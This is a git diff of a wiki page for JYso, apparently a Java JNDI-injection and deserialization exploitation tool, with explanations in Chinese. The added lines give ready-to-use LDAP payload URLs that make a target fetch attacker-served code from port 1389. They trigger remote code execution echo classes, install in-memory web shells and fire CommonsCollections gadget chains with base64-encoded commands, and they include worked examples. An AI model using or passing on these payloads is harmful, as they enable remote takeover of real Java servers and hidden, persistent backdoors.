diff --git a/Home.md b/Home.md index b23aea3..2422b9c 100644 --- a/Home.md +++ b/Home.md @@ -4,11 +4,11 @@ + Basic Queries - + [JAVA-RCE-Echo](https://github.com/qi4L/JYso/wiki/4%E3%80%81JAVA-RCE-Echo) + + [JAVA-RCE-Echo](https://github.com/qi4L/JYso/wiki/4%E3%80%81JAVA-RCE-Echo),其他参数与可用选项,详细说明 ldap://127.0.0.1:1389/Basic/M-EX-TomcatEcho - - + [Java Mem Shell](https://github.com/qi4L/JYso/wiki/5%E3%80%81Java-Mem-Shell) + + + [Java Mem Shell](https://github.com/qi4L/JYso/wiki/5%E3%80%81Java-Mem-Shell),其他参数与可用选项,详细说明 ldap://127.0.0.1:1389/Basic/EX-MS-TFMSFromJMX/shell/[base64_encoded_Parameters] @@ -18,12 +18,28 @@ + ELProcessor Queries - + [JAVA-RCE-Echo](https://github.com/qi4L/JYso/wiki/4%E3%80%81JAVA-RCE-Echo) + + [JAVA-RCE-Echo](https://github.com/qi4L/JYso/wiki/4%E3%80%81JAVA-RCE-Echo),其他参数与可用选项,详细说明 ldap://127.0.0.1:1389/ELProcessor/M-EX-TomcatEcho + + [Java Mem Shell](https://github.com/qi4L/JYso/wiki/5%E3%80%81Java-Mem-Shell),其他参数与可用选项,详细说明 + + ldap://127.0.0.1:1389/Basic/EX-MS-TFMSFromJMX/shell/[base64_encoded_Parameters] + + 参数同Gadget中一样,例如 + + ldap://127.0.0.1:1389/Basic/EX-MS-TFMSFromJMX/shell/LWhrICJVc2VyLUFnZW50IiAtaHYgImFhYWF3d3ci + + Deserialize Queries - + [Gadget](https://github.com/qi4L/JYso/wiki/6%E3%80%81Gadget) + + [Gadget](https://github.com/qi4L/JYso/wiki/6%E3%80%81Gadget),其他参数与可用选项,详细说明 ldap://127.0.0.1:1389/Deserialization/链子名/command/Base64/[base64_encoded_cmd] + + + 此处也可以直接打内存马,例如 + + ldap://127.0.0.1:1389/Deserialization/cc9/command/Base64/RVgtTVMtVEZNU0Zyb21SZXF1ZXN0 + + + 也可以直接打回显类,例如 + + ldap://127.0.0.1:1389/Deserialization/cc9/command/Base64/RVgtVG9tY2F0RWNobw==